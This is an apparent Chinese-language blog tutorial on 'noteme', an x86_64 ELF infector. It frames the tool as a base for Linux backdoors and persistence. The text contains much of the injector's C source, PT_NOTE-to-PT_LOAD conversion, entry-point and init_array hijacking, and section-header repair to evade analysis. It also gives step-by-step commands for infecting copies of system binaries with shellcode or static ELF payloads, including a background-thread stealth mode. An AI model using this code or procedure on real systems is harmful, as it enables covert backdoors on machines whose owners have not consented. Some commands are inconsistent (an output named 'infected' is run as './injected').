在Linux二进制安全领域,ELF加壳/加密器 是实现代码隐匿、持久化驻留、对抗逆向分析的核心技术。本文聚焦一款面向x86_64架构的轻量化ELF加壳工具,它不依赖复杂加密算法,而是通过PT_NOTE段感染、代码段填充注入、入口点劫持等轻量手段,将自定义载荷(Shellcode/静态ELF)无缝植入目标程序,实现无感知执行与高度隐匿性,是Linux平台后门、持久化工具的核心技术底座。
本文全程用大白话拆解技术原理、设计思路、代码逻辑与核心知识点,避开晦涩术语,让零基础安全爱好者也能读懂。
一、核心定义:什么是隐匿注入型ELF加壳器?
1. 基础概念
- ELF:Linux系统下可执行文件/动态库的标准格式(类比Windows的exe),所有程序、.so文件都是ELF结构。
- 加壳器 :不是压缩软件,而是将一段恶意/自定义代码(载荷),偷偷植入目标ELF文件中 ,并修改程序执行流程,让程序启动时先运行我们的代码,再运行原程序。
- 隐匿注入 :核心追求不被发现------不新增显眼文件、不破坏原程序结构、不触发静态查杀、逆向分析难以定位恶意代码。
2. 工具核心能力(大白话总结)
- 兼容广 :支持x86_64架构的可执行程序 和动态库(.so);
- 载荷灵活:可注入纯机器码(Shellcode),也可注入静态编译的ELF程序;
- 隐匿性强:利用ELF原生段做伪装,不新增异常结构;
- 执行可控:支持独立线程运行载荷,不阻塞原程序。
二、必备前置知识:ELF文件核心结构
不用记复杂格式,只需要记住4个关键部分,工具所有逻辑都围绕它们展开:
| 结构名称 | 通俗解释 | 工具中的作用 |
|---|---|---|
| ELF文件头 | 程序的「身份证」,记录入口点、段表位置等核心信息 | 修改程序入口点,劫持执行流程 |
| 程序头表(段表) | 程序加载到内存的「地图」,告诉系统哪些数据要加载、权限是什么 | 找到可注入的段,新增/修改段信息 |
| PT_NOTE段 | ELF原生的「备注段」,存储无关紧要的辅助信息,系统不校验、不执行 | 完美伪装载体,注入载荷 |
| PT_LOAD段 | 唯一会被系统加载到内存的段(代码段/数据段) | 代码段填充注入、追加新载荷段 |
| 节头表 | 逆向分析用的「索引表」,记录函数、变量位置 | 修复节表,避免逆向工具报警 |
核心知识点:
- PT_NOTE段是ELF的「废区」,修改它完全不影响程序正常运行,是隐匿注入的黄金位置;
- 只有PT_LOAD段会被加载到内存,恶意代码必须依托PT_LOAD段才能执行;
- 程序入口点(e_entry)决定了程序启动后 first 执行哪行代码。
三、整体设计思路:三步完成隐匿注入(核心流程)
这款加壳器的设计哲学是最小侵入、原生伪装、流程劫持,整体分为3个核心阶段,流程图如下:
小载荷
大载荷
加载目标ELF+载荷
合法性校验
载荷大小判断
直接覆盖PT_NOTE段
追加新PT_LOAD段+修改PT_NOTE指向新段
D/E
可选:注入引导Stub(适配ELF载荷)
劫持执行流程(入口点/init_array)
修复ELF结构
生成最终感染文件
设计核心原则
- 不破坏原程序:所有注入操作都在ELF原生结构内完成,不删除、不篡改核心代码;
- 伪装优先:用PT_NOTE段做伪装,让静态分析工具认为是正常程序;
- 兼容适配:同时支持PIE(地址随机化)和非PIE程序,支持线程/主线程执行;
- 逆向对抗:修复节头表,消除readelf等工具的报警信息。
四、代码实现原理:逐模块拆解
c
...
size_t thread_offset (const int64_t data_off)
{
return (global_flags & THREAD)? (size_t)data_off : (size_t)data_off - NON_THREAD_OFF;
}
void bin_init (binary_t *ptr, char *name, const int64_t len, const int opt)
{
uint8_t *temp_mem = NULL;
if ((ptr->fd = open(name, O_RDWR | O_CREAT, S_IRWXU | S_IRWXG)) < 0)
{
fprintf(stderr, "Failed to open %s:%s\n", name, strerror(errno));
exit(EXIT_FAILURE);
}
if (fstat(ptr->fd, &ptr->st) < 0)
{
fprintf(stderr, "Failed to stat %s:%s\n", name, strerror(errno));
goto fatal;
}
if (opt == MAP_SHARED)
{
if (fallocate(ptr->fd, 0, 0, len) == -1)
{
fprintf(stderr, "Failed to set file size %s:%s\n", name, strerror(errno));
goto fatal;
}
}
if (len > 0)
ptr->st.st_size += len;
if (ptr->mem != NULL)
temp_mem = ptr->mem;
ptr->mem = mmap(NULL, (uint64_t)ptr->st.st_size, PROT_READ | PROT_WRITE, opt, ptr->fd, 0);
if (ptr->mem == MAP_FAILED)
{
fprintf(stderr, "Failed to mmap %s:%s\n", name, strerror(errno));
goto fatal;
}
if (temp_mem != NULL)
memcpy(ptr->mem, temp_mem, (size_t)len);
ptr->name = name;
return;
fatal:
close(ptr->fd);
exit(EXIT_FAILURE);
}
ptload_t scan_elf_payload (binary_t *payload)
{
Elf64_Phdr *ptr = payload->segments;
ptload_t info = {0};
puts("\n[**] Payload information:");
printf("Entrypoint\t-> 0x%lx\n", payload->head->e_entry);
for (int8_t i = 0, cont = 0; i < payload->head->e_phnum; i++, ptr++)
{
if (ptr->p_type == PT_LOAD)
{
info.list[cont] = ptr;
info.size += ptr->p_memsz;
printf("%d) PT_LOAD\t-> 0x%lx\n", cont, ptr->p_vaddr);
cont++;
}
}
printf("Payload's size\t-> %ldKB\n\n", info.size/1000);
return info;
}
ptload_t pack_payload (binary_t *payload)
{
uint8_t *new_pmem = NULL;
uint8_t *temp = NULL;
ptload_t seg_info = {0};
seg_info = scan_elf_payload(payload);
if (!seg_info.size)
{
fprintf(stderr, "Error: No valid segments found\n");
return seg_info;
}
new_pmem = mmap(NULL, seg_info.size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (new_pmem == MAP_FAILED)
{
perror("ERROR MMAP");
exit(EXIT_FAILURE);
}
temp = new_pmem;
for (int8_t i = 0; i < MAX_NUM_LIST && seg_info.list[i] != NULL; i++)
{
memcpy(temp, seg_info.list[i]->p_offset + payload->mem, seg_info.list[i]->p_filesz);
temp += seg_info.list[i]->p_filesz;
}
payload->mem = new_pmem;
payload->st.st_size = (int64_t)seg_info.size;
return seg_info;
}
bool mod_stage1 (const ptload_t data, binary_t *stage1, void *payload_entryp, binary_t *final)
{
size_t size_off = thread_offset(SIZE_DATA_OFF);
size_t addr_off = thread_offset(ADDR_DATA_OFF);
size_t perm_off = thread_offset(PERM_DATA_OFF);
uint8_t flags = 0;
const Elf64_Phdr *txt_segm = search_segment(final, TXT);
const Elf64_Phdr *new_segm = search_segment(final, ANY);
if (!txt_segm)
{
fprintf(stderr, "Error: TEXT segment not found\n");
return false;
}
stage1->mem += (int64_t)thread_offset(0) * -1;
stage1->st.st_size = (int64_t)thread_offset(stage1->st.st_size);
if (new_segm->p_align < (uint64_t)stage1->st.st_size)
{
fprintf(stderr, "Error: Stub size is too big (%ldKB)\n", stage1->st.st_size/1000);
return false;
}
for (int8_t i = 0; i < MAX_NUM_LIST && data.list[i] != NULL; i++)
{
memcpy(&stage1->mem[size_off], &data.list[i]->p_memsz, ADDR_SIZE);
memcpy(&stage1->mem[addr_off], &data.list[i]->p_vaddr, ADDR_SIZE);
flags = (data.list[i]->p_flags & PF_W)? flags | PROT_WRITE : flags;
flags = (data.list[i]->p_flags & PF_R)? flags | PROT_READ : flags;
flags = (data.list[i]->p_flags & PF_X)? flags | PROT_EXEC : flags;
memcpy(&stage1->mem[perm_off], &flags, 1);
flags = 0; perm_off++; size_off += ADDR_SIZE; addr_off += ADDR_SIZE;
}
uint64_t seg_vaddr = new_segm->p_vaddr;
uint64_t txt_end = txt_segm->p_vaddr + txt_segm->p_filesz;
if (final->head->e_type == ET_DYN)
seg_vaddr -= (txt_end + thread_offset(LOADER_DATA_OFF));
if (global_flags & THREAD)
{
txt_end -= final->head->e_entry;
memcpy(&stage1->mem[TARGET_ENTRYP_OFF], &txt_end, ADDR_SIZE);
}
memcpy(&stage1->mem[thread_offset(PAYLOAD_ENTRYP_OFF)], payload_entryp, ADDR_SIZE);
memcpy(&stage1->mem[thread_offset(SEGMENT_ADDR_OFF)], &seg_vaddr, ADDR_SIZE);
return true;
}
bool check_elf(binary_t * elf, const uint8_t hide)
{
elf->head = (Elf64_Ehdr*) elf->mem;
if (*elf->mem != 0x7f || strncmp((char *)(elf->mem+1), "ELF", 3))
return false;
if ((elf->head->e_ident[EI_CLASS] != ELFCLASS64) ||
(elf->head->e_machine != EM_X86_64) || (elf->head->e_version != EV_CURRENT))
return false;
if ((elf->head->e_type != ET_EXEC) && (elf->head->e_type != ET_DYN))
return false;
if (elf->head->e_shoff == 0 || elf->head->e_shstrndx == 0)
global_flags |= STRIPPED;
elf->segments = (Elf64_Phdr*) (elf->head->e_phoff + elf->mem);
if (!hide)
printf("[**] Valid ELF\t-> %s\n", elf->name);
return true;
}
void
help ()
{
printf("Usage: noteme [-opt] \n\n");
printf("Options ('<>' required fields):\n\n \
\t-p '<filepath>' Payload (Statically linked ELF or Shellcode) binary\n \
\t-t '<filepath>' Target ELF binary\n \
\t-o '<filepath>' Output filename\n \
\t-T Run the payload in an independent thread\n \
\t-h This help\n" );
puts("\n");
}
int
main (int argc, char ** argv)
{
...
if (argc < 2)
{
help();
exit(EXIT_FAILURE);
}
while((opt = getopt(argc, argv, ":p:t:o:h:T")) != -1)
{
switch(opt)
{
case 'p':
bin_init(&payload, optarg, 0, MAP_PRIVATE);
break;
case 't':
bin_init(&target, optarg, 0, MAP_PRIVATE);
break;
case 'e':
global_flags |= ENCRYPT; //Not implemented yet
break;
case 'o':
final.name = optarg;
break;
case 'T':
global_flags |= THREAD;
break;
case 'h':
help();
exit(EXIT_FAILURE);
case '?':
printf("unknown option: %c\n", optopt);
break;
}
}
if (!payload.mem || !target.mem)
{
help();
exit(EXIT_FAILURE);
}
puts("\n\t##### NOTEME PACKER #####\n");
puts("Written by: 0xN3utr0n - 0xN3utr0n@pm.me\n");
if (!check_elf(&target, 0))
err_handler(&target, &payload, "Invalid target ELF binary");
if (check_elf(&payload, 0))
{
global_flags |= ELF;
seg_info = pack_payload(&payload);
if (seg_info.list == NULL)
err_handler(&target, &payload, "Failed to pack the payload");
}
final.mem = inject_payload(target, payload, &bin_size);
if (!check_elf(&final, 1))
err_handler(&target, &payload, "Invalid packed ELF binary");
if (global_flags & ELF)
{
bin_init(&stage1, "bin/stage1.bin", 0, MAP_PRIVATE);
if (!mod_stage1(seg_info, &stage1, &payload.head->e_entry, &final))
err_handler(&target, &payload, "Failed to modify the Stub");
final.mem = inject_stage1(&final, &stage1, &bin_size);
}
bin_init(&final, final.name, (int64_t)bin_size, MAP_SHARED);
set_entrypoint(&final, final_entryp);
printf("[**] Injected code -> 0x%lx\n", final_entryp);
puts("\nDone\n");
}
If you need the complete source code, please add the WeChat number (c17865354792)
根据上面的核心代码,拆解每一步的实现逻辑,只讲关键功能,不讲冗余代码。
模块1:ELF文件操作与合法性校验
功能:打开目标文件、映射到内存、检查是否为合法x86_64 ELF文件。
- 技术点:
mmap内存映射(直接操作文件二进制数据)、open/fstat文件操作; - 校验逻辑:检查文件头的
ELF魔数、架构(x86_64)、类型(可执行/动态库); - 关键判断:如果文件没有节头表(被脱壳/剥离),标记为「剥离文件」,切换兼容逻辑。
c
// 核心校验代码(简化)
bool check_elf(binary_t * elf){
// 检查ELF魔数 0x7F 'E' 'L' 'F'
if (*elf->mem != 0x7f || strncmp((char *)(elf->mem+1), "ELF", 3))
return false;
// 检查64位、x86_64架构、合法类型
if (elf->head->e_ident[EI_CLASS] != ELFCLASS64 || elf->head->e_machine != EM_X86_64)
return false;
return true;
}
模块2:PT_NOTE段感染(核心隐匿技术)
这是工具最核心的设计:利用无人问津的PT_NOTE段藏载荷。
- 搜索PT_NOTE段 :遍历程序头表,找到类型为
PT_NOTE的段; - 大小判断 :
- 小载荷:直接覆盖PT_NOTE段的内容(系统不校验,完全无感知);
- 大载荷:在文件末尾追加一个新的
PT_LOAD段,把载荷写进去,然后修改PT_NOTE段的头信息,让它指向这个新段;
- 优势:PT_NOTE段是正常结构,杀毒软件、逆向工具不会重点检测。
模块3:引导Stub注入(适配ELF载荷)
如果注入的是完整ELF程序(不是纯机器码),需要一个小型引导代码(Stub):
- 注入位置:代码段(TEXT段)末尾的填充空间;
- 功能:
- 修复载荷的内存地址;
- 设置载荷的执行权限;
- 跳转到载荷的入口点执行;
- 技术点:修改代码段大小,偏移后续段/节的位置,保证程序不崩溃。
模块4:执行流程劫持(让载荷先运行)
加壳的关键:让程序启动先跑我们的代码,再跑原程序,工具提供两种劫持方式:
- 优先方案 :劫持
.init_array/.fini_array(程序初始化函数数组)- 原理:Linux程序启动时,会先执行这里的函数,修改它指向我们的载荷;
- 优势:比改入口点更隐匿;
- 备用方案 :直接修改ELF文件头的入口点(e_entry)
- 原理:程序启动第一行代码就是我们的载荷;
- 适用场景:初始化数组被破坏/剥离的程序。
模块5:ELF结构修复(对抗逆向分析)
注入后,ELF的段、节位置会发生变化,工具会自动修复:
- 调整后续段的文件偏移,避免数据错位;
- 更新节头表,让
readelf、objdump等工具无报警、无异常; - 对齐内存地址,保证程序加载不崩溃。
五、ELF隐匿注入工具完整使用案例
准备测试文件
创建 3 个文件:
- 目标程序:
target(随便一个正常 ELF,比如/bin/ls复制过来) - 载荷1:
shellcode.bin(纯机器码) - 载荷2:
payload(静态编译 ELF)
测试案例 1:注入 Shellcode
目标
把一段弹计算器 / 写文件的 shellcode 注入到目标程序。
步骤
1. 准备目标文件
bash
cp /bin/ls ./target
2. 生成测试用 Shellcode
创建 test.asm:
nasm
BITS 64
section .text
global _start
_start:
; 测试代码:向 /tmp/injected.txt 写入字符串
mov rax, 2
mov rdi, filename
mov rsi, 0x41
mov rdx, 0666
syscall
mov rdi, rax
mov rax, 1
mov rsi, msg
mov rdx, len
syscall
mov rax, 3
syscall
mov rax, 60
xor rdi, rdi
syscall
filename db "/tmp/injected.txt",0
msg db "Injected success!",0xA
len equ $ - msg
编译:
bash
nasm -f bin test.asm -o shellcode.bin
3. 执行注入
bash
./noteme -p shellcode.bin -t target -o infected
4. 测试运行
bash
chmod +x infected
./injected
5. 验证结果
bash
cat /tmp/injected.txt
输出:Injected success!
测试案例 2:注入静态 ELF 程序
目标
把一个完整的静态 ELF 程序注入目标,支持线程/非线程模式。
步骤
1. 写一个简单 C 载荷 payload.c
c
#include <stdio.h>
int main() {
printf("[+] PAYLOAD RUNNING\n");
printf("[+] This is injected code\n");
return 0;
}
2. 静态编译(关键)
bash
musl-gcc -static -Wl,--section-start=.init=0xA000000 -o payload payload.c
3. 注入(主线程模式)
bash
./noteme -p payload -t target -o infected
4. 运行测试
bash
chmod +x infected
./injected
5. 你会看到输出
[+] PAYLOAD RUNNING
[+] This is injected code
原程序 ls 的正常输出
测试案例 3:线程模式注入(不阻塞原程序)
目标
让载荷在独立线程运行,不影响原程序执行。
只需要加一个参数:-T
bash
./noteme -p payload -t target -o infected_thread -T
运行:
bash
./infected_thread
效果:
- 原程序立刻输出 ls 结果
- 后台线程同时打印 payload 内容
- 无卡顿、无阻塞、隐匿性更强
快速测试命令合集
bash
# 1. Shellcode 注入
./noteme -p shellcode.bin -t target -o infected
# 2. ELF 载荷 主线程模式
./noteme -p payload -t target -o infected
# 3. ELF 载荷 独立线程模式(推荐)
./noteme -p payload -t target -o infected -T
# 4. 注入 .so 动态库
./noteme -p payload -t libtest.so -o infected_lib
六、核心技术知识点总结
这款加壳器覆盖了Linux二进制安全、ELF逆向、进程注入三大核心领域,知识点总结如下:
1. ELF程序头与段机制
- PT_LOAD:唯一可执行/可加载段,所有代码必须依托它运行;
- PT_NOTE:无权限、无执行能力,隐匿注入的最佳伪装载体;
- 段对齐:内存加载必须按页对齐(0x1000/0x200000),否则程序崩溃。
2. Linux程序执行流程
程序启动顺序:加载器 -> init_array初始化 -> 主函数 -> fini_array销毁,劫持初始化阶段是最隐蔽的注入方式。
3. 内存映射与文件操作
mmap:直接将文件映射到内存,比读写文件更高效,是二进制修改的标准手段;- 页权限:代码段需要
读+执行,数据段需要读+写,权限错误会触发段错误。
4. 隐匿注入核心思想
- 最小侵入:不新增异常结构,复用原生段;
- 结构伪装:用PT_NOTE段隐藏载荷,欺骗静态分析;
- 流程劫持:非破坏性修改入口,保留原程序功能。
5. PIE程序兼容
PIE(位置无关可执行文件)是Linux默认安全机制,地址随机变化,工具通过相对地址计算适配PIE程序。
七、技术应用场景
这款加壳技术不是只为「恶意程序」服务,合法应用场景也非常广泛:
- 软件保护:保护自研程序,防止逆向破解、代码篡改;
- 系统监控:注入监控代码,实现进程行为审计;
- 功能扩展:不修改源码,为现有程序新增功能;
- 安全测试:红队演练,模拟后门驻留,测试防护能力。
总结
这款隐匿注入型ELF加壳器,是Linux二进制安全的入门到进阶经典案例:
- 技术轻量化:不依赖复杂加密,用ELF原生特性实现隐匿注入,易理解、易修改;
- 实用性拉满:支持x86_64全场景ELF文件,载荷灵活,隐匿性强;
- 知识覆盖面广:串联ELF结构、内存操作、进程执行、逆向对抗四大核心知识点;
- 设计思想通用:最小侵入、原生伪装、流程劫持,是所有二进制加壳工具的核心设计逻辑。
它的核心价值不在于「制造恶意程序」,而在于让我们从底层理解Linux程序的运行机制,掌握二进制修改、逆向分析与防护的核心能力。
Welcome to follow WeChat official account【程序猿编码】